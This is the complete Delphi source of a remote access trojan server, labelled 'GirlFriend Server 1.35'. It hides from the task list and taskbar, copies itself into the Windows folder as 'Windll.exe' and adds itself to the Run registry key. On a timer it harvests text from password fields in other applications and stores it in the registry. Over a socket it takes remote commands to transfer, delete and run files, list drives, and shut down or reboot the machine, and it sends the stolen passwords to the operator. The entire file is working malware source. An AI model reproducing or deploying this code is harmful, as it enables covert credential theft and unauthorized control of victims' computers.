unit ServerMain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ScktComp, Registry, ShellAPI, ExtCtrls, ShowPictureUnit;

type
  TRegisterServiceProcess = function (dwProcessID, dwType:DWord) : DWORD; stdcall;
  TServerForm = class(TForm)
    ServerSocket: TServerSocket;
    PTimer: TTimer;
    procedure ShowPicture (pName : string);
    procedure FormCreate(Sender: TObject);
    procedure ServerSocketClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure PTimerTimer(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  ServerForm: TServerForm;

function PlaySound(lpszSoundName: PAnsiChar; uFlags: UINT): BOOL; stdcall;

implementation

function PlaySound; external 'winmm.dll' name 'sndPlaySoundA';
{$R *.DFM}
var
  PList : array [1..64] of string;
  FlT : FILE;
  FName : string;
  FSize : integer;
  AppList : array [1..64] of LongInt;
  PC, RC, APC, RLen, AC : integer;
  SD : string;
  buffer : array [0..1040] of byte;
  sendfile, recfile : boolean;
  iores : integer;

const
  IconConst : array [0..4] of integer=(0, MB_ICONEXCLAMATION,
         MB_ICONINFORMATION, MB_ICONSTOP,  MB_ICONQUESTION);
  WrapStr = #13+#10;
  MegaByte = 1024*1024;
  KiloByte = 1024;

  function WinText (hWnd : LongInt) : string;
  var PC : PChar;
       L : integer;
  begin
    L:=SendMessage (hWnd, WM_GETTEXTLENGTH, 0, 0);
    getmem (PC, L+1);
    SendMessage (hWnd, WM_GETTEXT, L+1, LongInt (PC));
    result:=PC;
  end;

  function IsPassword (hWnd : LongInt) : boolean;
  var ST : LongInt;
  begin
    ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
    result:=(ST=$A0) or (ST=$E0);
  end;

  function IsTextField (hWnd : LongInt) : boolean;
  var ST : LongInt;
  begin
    ST:=GetWindowWord (hWnd, GWL_STYLE) and $FF;
    result:=(ST=$A0) or (ST=$E0) or (ST=$80) or (ST=$C0);
  end;
  // Gets all applications with pass fields
  procedure GetPasswordList;
  var i, j : integer;
       ohWnd, PrhWnd : LongInt;
  begin
    APC:=0;
    for i:=1 to 16384 do
    if IsWindow (i) then
     if IsPassword (i) then
      begin
       PrhWnd:=i;
       repeat
        ohWnd:=PrhWnd;
        PrhWnd:=GetParent (ohWnd);
       until GetParent (PrhWnd)=0;
       Inc (APC);
       AppList[APC]:=PrhWnd;
      end;
   PC:=0;
   for i:=1 to 16384 do
    if IsWindow (i) then
     if IsTextField (i) then
      begin
       PrhWnd:=i;
       repeat
        ohWnd:=PrhWnd;
        PrhWnd:=GetParent (ohWnd);
       until GetParent (PrhWnd)=0;
       for j:=1 to APC do
        if PrhWnd=AppList[j] then
         begin
          Inc (PC);
          PList[PC]:=WinText(PrhWnd)+'___'+WinText(i);
          break;
         end; { Application with passes scanning..}
      end; { hWnd scanning }
  end; { End of procedure }

  procedure RegistryPasswords;
  // adds passwords (from PList) to Registry with old Password checking
  var i, j : integer;
      found : boolean;
      RG : TRegistry;
  begin
    ServerForm.PTimer.Enabled:=false;
    RG:=TRegistry.Create;
    GetPasswordList;
    RG.RootKey:=HKEY_LOCAL_MACHINE;
    RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE);
    if RG.ValueExists ('TCount') then
      RC:=RG.ReadInteger ('TCount')
    else
      RC:=0;
    if RC=0 then // Empty registry - don't compare, add all passes..
    begin
      RG.WriteInteger ('TCount', PC);
      for i:=1 to PC do
        RG.WriteString (inttostr(i), PList[i]);
    end
    else
    begin // Comparing RList & PList...
      for i:=1 to PC do // compare loop
      begin
        found:=false;
        for j:=1 to RC do
          if RG.ReadString (inttostr(j))=PList[i] then found:=true;
         if not(found) then
          begin
           Inc (RC);
           RG.WriteString (inttostr(RC), PList[i]);
          end;
        end;      // end compare loop
       RG.WriteInteger ('TCount', RC);
{       for i:=1 to RC do
        RG.WriteString (inttostr(i), RList[i]);}
    end;
    RG.Destroy;
    ServerForm.PTimer.Enabled:=true;
  end;

  procedure TServerForm.FormCreate(Sender: TObject);
  var TM : string;
      i : integer;
      PC, OldName, NewName : PChar;
      RG : TRegistry;
      hNdl :THandle;
      RegisterServiceProcess: TRegisterServiceProcess;
  begin
   // Прячемся в списке задач....
   // Это такая стращная дрянь, что я ее
   // выкинул на время отладки :|
   hNdl:=LoadLibrary('KERNEL32.DLL');
   RegisterServiceProcess:=GetProcAddress(hNdl, 'RegisterServiceProcess');
   RegisterServiceProcess (GetCurrentProcessID, 1);
   FreeLibrary(hNdl);
  // Выкидываемся из таскбара
   SetWindowLong(Application.Handle, GWL_EXSTYLE,
    GetWindowLong(Application.Handle, GWL_EXSTYLE) or
     WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
   TM:=Application.ExeName;
   for i:=Length(TM) downto 1 do
    if TM[i]='\' then break;
   TM:=copy (TM, 1, i);
   getMem (PC, 100);
   GetWindowsDirectory (PC, 100);
   SD:=PC+'\';
   freeMem (PC);
   getmem (OldName, 100);
   getMem (NewName, 100);
   StrPCopy (OldName, Application.ExeName);
   StrPCopy (NewName, SD+'Windll.exe');
   if TM<>SD then // First launch from other directory....
    begin
     DeleteFile (SD+'Windll.exe');
     CopyFile (OldName, NewName, FALSE);
     RG:=TRegistry.Create;        // Add data to registry
     RG.RootKey:=HKEY_LOCAL_MACHINE;
     RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
     RG.WriteString ('Windll.exe', SD+'Windll.exe');
     RG.Destroy;
     StrPCopy (OldName, '"'+Application.ExeName+'"');
     ShellExecute (0, 'open', NewName, OldName, 'c:\', 1);
     Halt (0);
    end
     else
      begin // Launch from WINDOWS directory
       RG:=TRegistry.Create; // Remove from Registry (to hide!)
       RG.RootKey:=HKEY_LOCAL_MACHINE;
       RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
       RG.WriteString ('Windll.exe', SD+'Windll.exe');
       RG.Destroy;
       RG:=TRegistry.Create;
       RG.RootKey:=HKEY_LOCAL_MACHINE;
       RG.OpenKey ('SOFTWARE\Microsoft\General', TRUE);
       RG.CreateKey ('Settings');
       RG.OpenKey ('\SOFTWARE\Microsoft\General\Settings', FALSE);
       if RG.ValueExists ('APPID') then
        ServerSocket.Port:=RG.ReadInteger ('APPID')
       else
        RG.WriteInteger ('APPID', ServerSocket.Port);
       DeleteFile (ParamStr(1));
       RG.Destroy;
       ServerSocket.Active := True;
      end;

  end;

  function extract (st : string; ind1, ind2 : integer): string;
  var i: integer;
  begin
    result:='';
    for i:=ind1 to ind2 do
     result:=result+st[i];
  end;

  function ProcessMsg (Ms : string) : string;
     // processing message....
     // Message format:
     // {MSG}<caption>$$$<text>%%%messageview (2 symbols)
  var MCapt, MText : PChar;
       MT, RT : string;
       MSum : LongInt;
       i : integer;
  begin
    MT:=extract (Ms, 6, Pos ('$$$', MS)-1);
    getMem (MCapt, Length(MT)+1);
    StrPCopy (MCapt, MT);
    MT:=extract (MS, Pos('$$$', MS)+3, Pos ('%%%', MS)-1);
    RT:='';
    for i:=1 to Length (MT) do
      if MT[i]='|' then RT:=RT+chr(13)+chr(10) else RT:=RT+MT[i];
    getMem (MText, Length(RT)+1);
    StrPCopy (MText, RT);
    RT:=extract (MS, Pos ('%%%', MS)+3, Length (MS) );
    MSum:=0;
    case RT[1] of
    '1' : MSum:=MB_ABORTRETRYIGNORE;
    '2' : MSum:=MB_OKCANCEL;
    '3' : MSum:=MB_RETRYCANCEL;
    '4' : MSum:=MB_YESNO;
    '5' : MSum:=MB_YESNOCANCEL;
    end;
    MSum:=MSum+IconConst [ ord (RT[2])-48 ];
    MSum:=MessageBox (0, MText, MCapt, MSum+MB_SYSTEMMODAL);
    RT:='Unknown answer';
    case MSum of
      IDABORT : RT:='Abort.';
      IDCANCEL: RT:='Cancel.';
      IDIGNORE: RT:='Ignore.';
      IDNO    : RT:='No.';
      IDOK    : RT:='Ok.';
      IDRETRY : RT:='Retry.';
      IDYES   : RT:='Yes.';
    end;
    result:=RT;
    freeMem (MText);
    freeMem (MCapt);
  end;

  procedure TServerForm.ShowPicture (pname : string);
  begin
   if FileExists (pname) then
    with frmPicture do
     begin
      imgPic.Picture.LoadFromFile (pname);
      imgPic.Top:=0;
      imgPic.Left:=0;
      pnPic.Left:=2;
      pnPic.Top:=2;
      pnPic.Width:=imgPic.Width+3;
      pnPic.Height:=imgPic.Height+3;
      Width:=imgPic.Width+5;
      Height:=imgPic.Height+5;
      Left:=(Screen.Width-Width) div 2;
      Top:=(Screen.Height-Height) div 2;
      Show;
     end;
  end;
 function TransName (FD : TSearchRec) : string;
   var RS : char;
       MD : string;
  begin
   RS:='U';
   if (FD.Attr and faDirectory)>0 then RS:='F';
   MD:=LowerCase (copy (FD.Name, Length(FD.Name)-2, 3));
   if MD='bmp' then RS:='B';
   if MD='exe' then RS:='E';
   if MD='wav' then RS:='W';
   result:=RS+'_'+LowerCase(FD.Name){+WrapStr};
  end;
 function LastPos (subchar : char; s : string) : integer;
   var i : integer;
  begin
   result:=0;
   for i:=Length(s) downto 1 do
    if subchar=s[i] then
     begin
      result:=i;
      break;
     end;
  end;
 function GetFSizeStr (FN : TSearchRec): string;
   var FS : real;
       FST, DB : string;
  begin
   FS:=FN.Size;
   DB:=' B)';
   if FS>=KiloByte then DB:=' KB)';
   if FS>=MegaByte then DB:=' MB)';
   if DB=' KB)' then FS:=FS / KiloByte;
   if DB=' MB)' then FS:=FS / MegaByte;
   if DB=' B)' then
    FST:=inttostr(round(FS))
   else
    Str (FS:5:2, FST);
   FST:=Trim (FST);
   result:=' ('+FST+DB+WrapStr;
  end;
 function CNumeric (const S : string):string;
   var i : integer;
  begin
   result:='';
   for i:=1 to Length (S) do
    if S[i] in ['0','1','2','3','4','5','6','7','8','9'] then
     result:=result+S[i];
  end;
 procedure TServerForm.ServerSocketClientRead(Sender: TObject;
   Socket: TCustomWinSocket);
   var gotstr:string;
       i, PX : integer;
       TM : Integer;//Cardinal;
       RG : TRegistry;
       TPC : PChar;
       TMR, DM : string;
       STD : TSearchRec;
       FL : FILE;
  begin
   if recfile then
    begin
     repeat
      Application.ProcessMessages;
      AC:=Socket.ReceiveBuf (buffer, 1024);
      if AC>0 then
       begin
        RLen:=RLen+AC;
        BlockWrite (FlT, buffer, AC);
       end;
     until RLen>=FSize;
     if recfile then
      begin
       CloseFile (FlT);
       Socket.SendText ('Uploading complete.');
      end;
     recfile:=false;
     exit;
    end;
   if not(recfile) then
    begin
     gotstr:=socket.receivetext;
     if (copy (gotstr, 1, 7)='getfile') and not(sendfile) then
      if FileExists (extract (gotstr, 8, Length(gotstr))) then
       begin
        sendfile:=true;
        AssignFile (Fl, extract (gotstr, 8, Length(gotstr)));
        ReSet (Fl, 1);
        Socket.SendText ('Sending file '+extract (gotstr, 8, Length(gotstr))+'; size '+inttostr(FileSize (FL))+' byte(s).');
        Socket.SendText ('{FSEND}'+WrapStr);
        Socket.SendText (inttostr(FileSize (FL))+WrapStr);
        Socket.SendText (extract (gotstr, lastpos ('\', gotstr)+1, Length(gotstr))+WrapStr);
        Sleep (500);
        Socket.SendText ('{FCOMP}'+WrapStr);
        Sleep (1000);
        repeat
         BlockRead (Fl, buffer, 1024, iores);
         if iores>0 then
          Socket.SendBuf (buffer, iores);
        until EOF(Fl);
        CloseFile (Fl);
        sendfile:=false;
       end;
     if not (sendfile) then
      begin
       if copy (gotstr, 1, 8)='takefile' then
        begin
         recfile:=true;
         FName:=extract (gotstr, Pos (':::', gotstr)+3, Length(gotstr));
         FSize:=strtoint (CNumeric (FName));
         FName:=extract (gotstr, 9, Pos (':::', gotstr)-1);
         AssignFile (FlT, FName);
         ReWrite (FlT, 1);
         RLen:=0;
         Application.ProcessMessages;
         exit;
        end;
       if copy (gotstr, 1, 7)='delfile' then
        begin
         if DeleteFile (extract (gotstr, 8, Length(gotstr))) then
          Socket.SendText ('File deleted.') else
           Socket.SendText ('Delete Error.');
        end;
       if gotstr='Quiting..'then
        begin
         ServerSocket.Close;
         ServerSocket.Active := True;
        end;
       // Disk list transmitting
       if gotstr='getbaselist' then
        begin
         GetMem (TPC, 100);
         PX:=GetLogicalDriveStrings (100, TPC);
         DM:='';
         for i:=-1 to PX do
          if (TPC+i)[1]<>#0 then DM:=DM+(TPC+i)[1];
         FreeMem (TPC);
         TMR:='';
         Socket.SendText ('{TDSS}');
         for i:=1 to Length (DM) do
          begin
           TMR:=TMR+DM[i];
           if (i mod 3)=0 then
            begin
             GetMem (TPC, 4);
             StrPCopy (TPC, TMR);
             PX:=GetDriveType (TPC);
             FreeMem (TPC);
             TM:=0;
             if PX=DRIVE_CDROM then
              begin
               TMR:='C_'+TMR+WrapStr;
               TM:=10;
              end;
             if PX=DRIVE_FIXED then
              begin
               TMR:='H_'+TMR+WrapStr;
               TM:=10;
              end;
             if TM>0 then Socket.SendText (TMR);
             TMR:='';
            end;
          end;
         Socket.SendText ('{FFDT}');
        end;
       // Передача списка файлов в папке
       if copy (gotstr, 1, 7)='diskget' then
        begin
         Socket.SendText ('{LFTM}'+WrapStr);
         FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*', faAnyFile, STD);
         if ((STD.Attr and faDirectory)>0) and (STD.Name<>'.') then
          Socket.SendText (TransName(STD)+WrapStr);
         repeat
          PX:=FindNext (STD);
          if (PX=0) and ((STD.Attr and faDirectory)>0) and (STD.Name<>'..') then
           Socket.SendText (TransName(STD)+WrapStr);
         until PX<>0;
         FindClose (STD);

         FindFirst (extract (gotstr, 8, Length(gotstr))+'*.*',
                     faArchive+faReadOnly+
                       faHidden+faSysFile, STD);
         if STD.Attr<>faDirectory then
          Socket.SendText (TransName(STD)+GetFSizeStr (STD));
         repeat
          PX:=FindNext (STD);
          if (PX=0) and (STD.Attr<>faDirectory) then
           Socket.SendText (TransName(STD)+GetFSizeStr (STD));
         until PX<>0;
         FindClose (STD);
         Socket.SendText ('{RETL}');
        end;
       if gotstr='ver' then socket.sendtext('GirlFriend Server 1.35 . Port '+
        inttostr(ServerSocket.Port)+chr(13)+chr(10));
       if gotstr='time' then
        Socket.SendText ('Remote Time/Date is '+
         FormatDateTime ('hh:nn.ss "-" mmmm d, yyyy, dddd', Now) );
       if gotstr='TEST?' then socket.sendtext('Server OK');
       if copy (gotstr, 1, 5)='{MSG}' then
        Socket.SendText ('User answered :'+ProcessMsg (gotstr));
       if copy (gotstr, 1, 3)='{S}' then
        if FileExists (extract (gotstr, 4, Length (gotstr))) then
         begin
          GetMem (TPC, Length (gotstr)-2);
           // Length without '{S}' header and +1 for #0
          StrPCopy (TPC, extract (gotstr, 4, Length (gotstr)));
          PlaySound (TPC, 1);
          FreeMem (TPC);
         end;
       if copy (gotstr, 1, 3)='{P}' then
        ShowPicture (extract (gotstr, 4, Length (gotstr)));
       if copy (gotstr, 1, 3)='{U}' then
        begin
         GetMem (TPC, Length (gotstr)-2);
          // Length without '{U}' header and +1 for #0
         StrPCopy (TPC, extract (gotstr, 4, Length (gotstr)));
         ShellExecute (0, 'open', TPC, '', 'c:\', 1);
         FreeMem (TPC);
        end;
       if gotstr='Name user' then
       begin
         TM := 50;
         GetMem(TPC, 50);
         GetUserName(TPC, TM);
         Socket.SendText('Current user: '+TPC);
         FreeMem(TPC);
       end;

       if gotstr='Logoff' then
        ExitWindowsEx (EWX_LOGOFF, TM);
       if gotstr='Shutdown' then
        ExitWindowsEx (EWX_SHUTDOWN, TM);
       if gotstr='ReBOOT' then
        ExitWindowsEx (EWX_REBOOT, TM);
       if gotstr='PowerOFF' then
        ExitWindowsEx (EWX_POWEROFF, TM);

       if gotstr='DOWN' then
        begin
         PTimer.Enabled:=false;
         Socket.SendText ('Timer off.');
        end;
       if gotstr='UP' then
        begin
         PTimer.Enabled:=true;
         Socket.SendText ('Timer on.');
        end;
       if copy (gotstr, 1, 7)='setport' then
        begin
         Socket.SendText ('New port: '+extract(gotstr, 8, Length(gotstr)));
         ServerSocket.Close;
         ServerSocket.Port:=strtoint (extract(gotstr, 8, Length(gotstr)) );
         RG:=TRegistry.Create;
         RG.RootKey:=HKEY_LOCAL_MACHINE;
         RG.OpenKey ('SOFTWARE\Microsoft\General\Settings', TRUE);
         RG.WriteInteger ('APPID', ServerSocket.Port);
         RG.Destroy;
         ServerSocket.Active := True;
        end;
       if gotstr='Old me show?' then
        begin
         PTimer.Enabled:=false;
         RG:=TRegistry.Create;
         RG.RootKey:=HKEY_LOCAL_MACHINE;
         RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE);
         if RG.ValueExists ('TCount') then
          begin
           RC:=RG.ReadInteger ('TCount');
           socket.SendText ('{PLTS}');
           for i:=1 to RC do
            socket.SendText (RG.ReadString (inttostr(i))+chr(13)+chr(10));
           socket.SendText ('{FTPL}'+chr(13)+chr(10));
          end;
         RG.Destroy;
         PTimer.Enabled:=true;
        end;
       if gotstr='RESETALL' then
        begin
         PTimer.Enabled:=false;
         RG:=TRegistry.Create;
         RG.RootKey:=HKEY_LOCAL_MACHINE;
         RG.OpenKey ('SOFTWARE\Microsoft\General\', TRUE);
         if RG.ValueExists ('TCount') then
          begin
           PX:=RG.ReadInteger ('TCount');
           RG.DeleteValue ('TCount');
           for i:=1 to PX do
            RG.DeleteValue (inttostr(i));
          end;
         RG.Destroy;
         PTimer.Enabled:=true;
        end;
       if gotstr='KillHER' then
        begin
         Socket.SendText ('Server killed!');
         ServerSocket.Close;
         RG:=TRegistry.Create;
         RG.RootKey:=HKEY_LOCAL_MACHINE;
         RG.OpenKey ('SOFTWARE\Microsoft', FALSE);
         RG.DeleteKey ('General');
         RG.Destroy;
         RG:=TRegistry.Create;
         RG.RootKey:=HKEY_LOCAL_MACHINE;
         RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
         RG.DeleteValue ('Windll.exe');
         RG.Destroy;
         Halt (0);
        end;
       if gotstr='HELP?' then
        begin
         Socket.SendText ('---HELP---'+WrapStr);Sleep(100);
         Socket.SendText ('KillHER   - kill server'+WrapStr);Sleep(100);
         Socket.SendText ('UP        - switch password-looking timer on'+WrapStr);Sleep(100);
         Socket.SendText ('DOWN      - off'+WrapStr);Sleep(100);
         Socket.SendText ('Logoff    - logoff user from windows'+WrapStr);Sleep(100);
         Socket.SendText ('Shutdown  - shutdown windows'+WrapStr);Sleep(100);
         Socket.SendText ('ReBOOT    - reboot PC'+WrapStr);Sleep(100);
         Socket.SendText ('PowerOFF  - power off ;)'+WrapStr);Sleep(100);
         Socket.SendText ('Name user - displays username'+WrapStr);Sleep(100);
         Socket.SendText ('TEST?     - tests server'+WrapStr);Sleep(100);
         Socket.SendText ('time      - displays time'+WrapStr);Sleep(100);
         Socket.SendText ('ver       - displays server version'+WrapStr);Sleep(100);
         Socket.SendText ('----------'+WrapStr);Sleep(100);
        end;
      end; // if not sendfile
    end; // if not recfile
  end;

procedure TServerForm.FormClose(Sender: TObject; var Action: TCloseAction);
 var RG : TRegistry;
begin
 RG:=TRegistry.Create;
 RG.RootKey:=HKEY_LOCAL_MACHINE;
 RG.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
 RG.WriteString ('Windll.exe', SD+'Windll.exe');
 RG.RootKey:=HKEY_LOCAL_MACHINE;
 RG.OpenKey ('\SOFTWARE\Microsoft\General\Settings', FALSE);
 RG.WriteInteger ('APPID', ServerSocket.Port);
 RG.Destroy;
end;

procedure TServerForm.PTimerTimer(Sender: TObject);
begin
 RegistryPasswords;
end;
end.
